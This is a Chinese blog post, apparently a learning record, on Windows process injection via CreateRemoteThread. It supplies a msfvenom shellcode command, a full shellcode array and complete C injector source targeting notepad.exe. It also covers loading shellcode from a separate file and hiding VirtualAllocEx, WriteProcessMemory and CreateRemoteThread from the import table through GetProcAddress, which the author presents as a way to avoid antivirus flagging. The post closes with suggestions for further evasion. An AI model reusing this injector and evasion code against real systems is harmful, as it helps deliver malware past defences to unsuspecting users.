进程注入的探索

一颗小胡椒2022-07-29 08:22:06

前言

文章涉及的技术并不深,只是本人在学习进程注入过程中的记录,文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等,过程中需要理解的部分,我会尽可能言简意赅。

0x01 简单描述

进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。

0x02 shellcode

所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

shellcode 执行 Calc.exe

0x03 代码实现

关于 CreateRemoteThread() 进程注入,实际上需要实现四个主要目标:

  • OpenProcess() 打开将要注入进程获取句柄
  • VirtualAllocEx() – 能够访问外部进程以便在其虚拟地址空间内分配内存。
  • WriteProcessMemory( ) – 将 shellcode 写入分配的内存。
  • CreateRemoteThread() – 让外部进程在另一个线程中执行上述 shellcode。

获取目标进程句柄 OpenProcess()

OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(
  DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
  BOOL  bInheritHandle,  // 是否继承句柄,一般不
  DWORD dwProcessId      // 进程标识符,即受害者进程的PID);

申请内存 VirtualAllocEx()

我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。

VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。

LPVOID VirtualAllocEx(
  HANDLE hProcess,         // 申请内存所在的进程句柄
  LPVOID lpAddress,        // 保留页面的内存地址,一般用NULL自动分配
  SIZE_T dwSize,           // 欲分配的内存大小,字节为单位,通常是shellcode大小
  DWORD  flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
  DWORD  flProtect         // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行);

写进程内存 WriteProcessMemory()

现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区,我们可以将我们的 shellcode 写入该缓冲区。

WriteProcessMemory() – 将数据写入指定进程中的内存区域。BOOL WriteProcessMemory(
  HANDLE  hProcess,               // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
  LPVOID  lpBaseAddress,          // 要写入的数据的首地址,VirtualAllocEx的返回值
  LPCVOID lpBuffer,               // 指向要写的数据的指针,该指针必须是const指针,即shellcode
  SIZE_T  nSize,                  // 要写入的字节数,shellcode大小
  SIZE_T  *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL);

创建远程线程 CreateRemoteThread()

将 shellcode 加载到受害进程分配的虚拟内存空间后,我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。

CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,           // 线程所属进程的进程句柄,即OpenProcess返回的句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes, // 线程的安全属性,通常为NULL
  SIZE_T                 dwStackSize,        // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
  LPTHREAD_START_ROUTINE lpStartAddress,     // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
  LPVOID                 lpParameter,        // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
  DWORD                  dwCreationFlags,    // 线程的创建标志,通常为0,即线程创建后立即运行
  LPDWORD                lpThreadId          // 指向所创建线程ID的指针,通常为NULL);

基础代码

#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {
    unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00""\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff""\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb""\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c""\x63\x2e\x65\x78\x65\x00";
     printf("alloc:%p\n", buf);HANDLE Process = OpenProcess( 
       (DWORD)PROCESS_ALL_ACCESS, 
       (BOOL)FALSE, 
       //(DWORD)atoi(pid)); 
       atoi(argv[1])); 
   if (Process == NULL) 
   { 
     printf("\nopenprocess error%d\n", GetLastError()); 
          } 
   printf("pid:%d",atoi(argv[1])); 
   void * exec = VirtualAllocEx( Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
   if (exec == NULL) 
   { 
       printf("VirtualAllocEx error%d\n", GetLastError()); 
   } BOOL Memory = WriteProcessMemory( 
       (HANDLE)Process, 
       (LPVOID)exec, 
       (LPCVOID)buf, 
       sizeof buf, 
        NULL   ); 
   if (Memory == 0) 
   { 
       printf("WriteProcessMemory:%d\n", GetLastError()); 
   } HANDLE thred = CreateRemoteThread( 
       (HANDLE)Process, 
       (LPSECURITY_ATTRIBUTES)NULL, 
       (SIZE_T)0, 
       (LPTHREAD_START_ROUTINE)exec, 
       (LPVOID)NULL, 
       (DWORD)0, 
       (LPDWORD)NULL   ); 
   if (thred == NULL) 
   { 
       printf("CreateRemoteThread:%d\n", GetLastError()); 
   } }

拍摄快照自动获取pid

官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes

// 拍摄快照HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);if (Snapshot == INVALID_HANDLE_VALUE){
    printf("CreateToolhelp32Snapshot:%d\n", GetLastError());}//初始化PROCESSENTRY32  pe32;pe32.dwSize = sizeof(PROCESSENTRY32);BOOL First = Process32First(
    (HANDLE)Snapshot,
    &pe32);if (First == FALSE){
    printf("Process32First:%d\n", GetLastError());}//匹配注入进程名字DWORD pid;while (First){
    if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
    {
        pid = pe32.th32ProcessID;
        break;
    }
    First = Process32Next((HANDLE)Snapshot,
        &pe32);}

分离加载 shellcode

HANDLE openinfile = CreateFileA( 
       //"e:\\calc.bin", 
       lnFileName, 
       GENERIC_READ, 
       0, 
       NULL, 
       OPEN_EXISTING, 
       FILE_ATTRIBUTE_NORMAL, 
       NULL); 
   if (openinfile == INVALID_HANDLE_VALUE); 
   { 
       printf("CreateFile Error:%d\n", GetLastError()); 
   } 
   // 
   int size = GetFileSize(openinfile, NULL); 
   if (size == INVALID_FILE_SIZE); 
   { 
       printf("GetFileSize Error:%d\n", GetLastError()); 
   } 
   // 
   char* buf = (char*)malloc(size + 1); 
   DWORD lpNumberOfBytesRead = 0; 
   // 
   BOOL rfile = ReadFile( 
       openinfile, 
       buf, 
       size, 
       &lpNumberOfBytesRead, 
       NULL); 
   for (int i = 0; i < size; i++) 
   { 
       printf("\\x%02x", (unsigned char)buf[i]); 
   }

IAT,导入地址表(Import Address Table)

IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。

翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。

如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40,那么此文件极有可能是高危文件,会被重点关注。

这里使用VS自带的 dumpbin查看

没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等

在字符串中还能看到敏感函数关键字,解决办法:通过拆分、源代码混淆、加壳等即可。

GetProcAddress 获取函数地址

GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

typedef LPVOID(WINAPI* Virtual_AllocEx)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPVOID lpAddress, 
   _In_ SIZE_T dwSize, 
   _In_ DWORD flAllocationType, 
   _In_ DWORD flProtect ); typedef BOOL (WINAPI* ImportWriteProcessMemory)( 
   _In_ HANDLE hProcess, 
   _In_ LPVOID lpBaseAddress, 
   _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
   _In_ SIZE_T nSize, 
   _Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE (WINAPI* ImportCreateRemoteThread)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
   _In_ SIZE_T dwStackSize, 
   _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
   _In_opt_ LPVOID lpParameter, 
   _In_ DWORD dwCreationFlags, 
   _Out_opt_ LPDWORD lpThreadId );
   //避免高危字符串
   char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 }; 
   HMODULE hKer32 = LoadLibraryA(ker32); 
   char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0}; 
   Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");

修改后查看一下导入表,高危函数已不在iat中了

完整代码

#include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <TCHAR.h> typedef LPVOID(WINAPI* ImportVirtualAllocEx)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPVOID lpAddress, 
   _In_ SIZE_T dwSize, 
   _In_ DWORD flAllocationType, 
   _In_ DWORD flProtect 
   ); typedef BOOL(WINAPI* ImportWriteProcessMemory)( 
   _In_ HANDLE hProcess, 
   _In_ LPVOID lpBaseAddress, 
   _In_reads_bytes_(nSize) LPCVOID lpBuffer, 
   _In_ SIZE_T nSize, 
   _Out_opt_ SIZE_T* lpNumberOfBytesWritten 
   ); typedef HANDLE(WINAPI* ImportCreateRemoteThread)( 
   _In_ HANDLE hProcess, 
   _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, 
   _In_ SIZE_T dwStackSize, 
   _In_ LPTHREAD_START_ROUTINE lpStartAddress, 
   _In_opt_ LPVOID lpParameter, 
   _In_ DWORD dwCreationFlags, 
   _Out_opt_ LPDWORD lpThreadId 
   ); void code(LPCSTR lnFileName) { 
   //char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 }; 
   //HMODULE hKer32 = LoadLibraryA(ker32); 
   //char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 }; 
   //Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx"); 
   ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); 
   ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); 
   ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread"); 
   HANDLE openinfile = CreateFileA( 
       //"e:\\calc.bin", 
       lnFileName, 
       GENERIC_READ, 
       0, 
       NULL, 
       OPEN_EXISTING, 
       FILE_ATTRIBUTE_NORMAL, 
       NULL);
   if (openinfile == INVALID_HANDLE_VALUE); 
   { 
       printf("CreateFile Error:%d\n", GetLastError()); 
   } 
   // 
   int size = GetFileSize(openinfile, NULL); 
   if (size == INVALID_FILE_SIZE); 
   { 
       printf("GetFileSize Error:%d\n", GetLastError()); 
   } 
   // 
   char* buf = (char*)malloc(size + 1); 
   DWORD lpNumberOfBytesRead = 0; 
   // 
   BOOL rfile = ReadFile( 
       openinfile, 
       buf, 
       size, 
       &lpNumberOfBytesRead, 
       NULL); 
   for (int i = 0; i < size; i++) 
   { 
       printf("\\x%02x", (unsigned char)buf[i]); 
   } 
   // 
   HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0); 
   if (Snapshot == INVALID_HANDLE_VALUE) 
   { 
       printf("CreateToolhelp32Snapshot:%d\n", GetLastError()); 
   } 
   // 
   PROCESSENTRY32  pe32; 
   pe32.dwSize = sizeof(PROCESSENTRY32); 
   BOOL First = Process32First( 
       (HANDLE)Snapshot, 
       &pe32); 
   if (First == FALSE) 
   { 
       printf("Process32First:%d\n", GetLastError()); 
   } 
   // 
   DWORD pid; 
   while (First) 
   { 
       if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) 
       { 
           pid = pe32.th32ProcessID; 
           break; 
       } 
       First = Process32Next((HANDLE)Snapshot, 
           &pe32); 
   } 
   HANDLE Process = OpenProcess( 
       (DWORD)PROCESS_ALL_ACCESS, 
       (BOOL)false, 
       //(DWORD)atoi(pid)); 
       (DWORD)pid 
   ); 
   if (Process == NULL) 
   { 
       CloseHandle(Process); 
       printf("\nopenprocess error%d\n", GetLastError()); 
   } 
   _tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID); 
   HANDLE exec = MyVirtualAllocEx( 
       Process, 
       NULL, 
       //sizeof(buf), 
       size, 
       MEM_COMMIT, 
       PAGE_EXECUTE_READWRITE 
   ); 
   if (exec == NULL) 
   { 
       printf("VirtualAllocEx error%d\n", GetLastError()); 
   } 
   BOOL Memory = MyWriteProcessMemory( 
       (HANDLE)Process, 
       (LPVOID)exec, 
       (LPCVOID)buf, 
       //sizeof buf, 
       size, 
       NULL); 
   if (Memory == 0) 
   { 
       printf("WriteProcessMemory:%d\n", GetLastError()); 
   } 
   HANDLE thred = MyCreateRemoteThread( 
       (HANDLE)Process, 
       (LPSECURITY_ATTRIBUTES)NULL, 
       (SIZE_T)0, 
       (LPTHREAD_START_ROUTINE)exec, 
       (LPVOID)NULL, 
       (DWORD)0, 
       (LPDWORD)NULL); 
   if (thred == NULL) 
   { 
       CloseHandle(thred); 
       printf("CreateRemoteThread:%d\n", GetLastError()); 
   } } int main(int argc, char* argv[]) { 
   //int main() 
   if (argc != 2) 
   { 
       printf("please bin"); 
   } 
   else 
   { 
       code(argv[1]); 
   } }

后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等,还请师傅自行搭配使用。

0x04 相关推荐

https://payloads.online/archivers/2020-10-23/1/

https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/

https://github.com/d35ha/CallObfuscator

charchar函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
无意中看到ch1ng师傅的文章觉得很有趣,不得不感叹师傅太厉害了,但我一看那长篇的函数总觉得会有更骚的东西,所幸还真的有,借此机会就发出来一探究竟,同时也不得不感慨下RFC文档的妙处,当然本文针对的技术也仅仅只是在流量层面上waf的绕过。Pre很神奇对吧,当然这不是终点,接下来我们就来一探究竟。前置这里简单说一下师傅的思路部署与处理上传war的servlet是?
记一次网站渗透过程
2022-09-13 08:37:27
前几天记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。
一、序言 记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。 二、渗透过程 1. 无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞,这里贴一个链接:Beecms 通用漏洞(https://lin
钓鱼小技巧-XLM
2022-01-21 21:30:11
随后保存为启用宏的文档。而在实战环境中,我们更关注的是能否执行我们的shellcode。
前言最近一段时间在研究Android加壳和脱壳技术,其中涉及到了一些hook技术,于是将自己学习的一些hook技术进行了一下梳理,以便后面回顾和大家学习。主要是进行文本替换、宏展开、删除注释这类简单工作。所以动态链接是将链接过程推迟到了运行时才进行。
最近在分析JDK7u21的Gadgets,有两个不解之处,阅读前辈们的文章发现并未提起。1.为什么有的POC入口是LinkedHashSet,有的是HashSet,两个都可以触发吗?
依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。LD_PRELOAD的劫持对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。网上针对LD_PRELOAD的劫持也有大量的描述
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
一颗小胡椒
暂无描述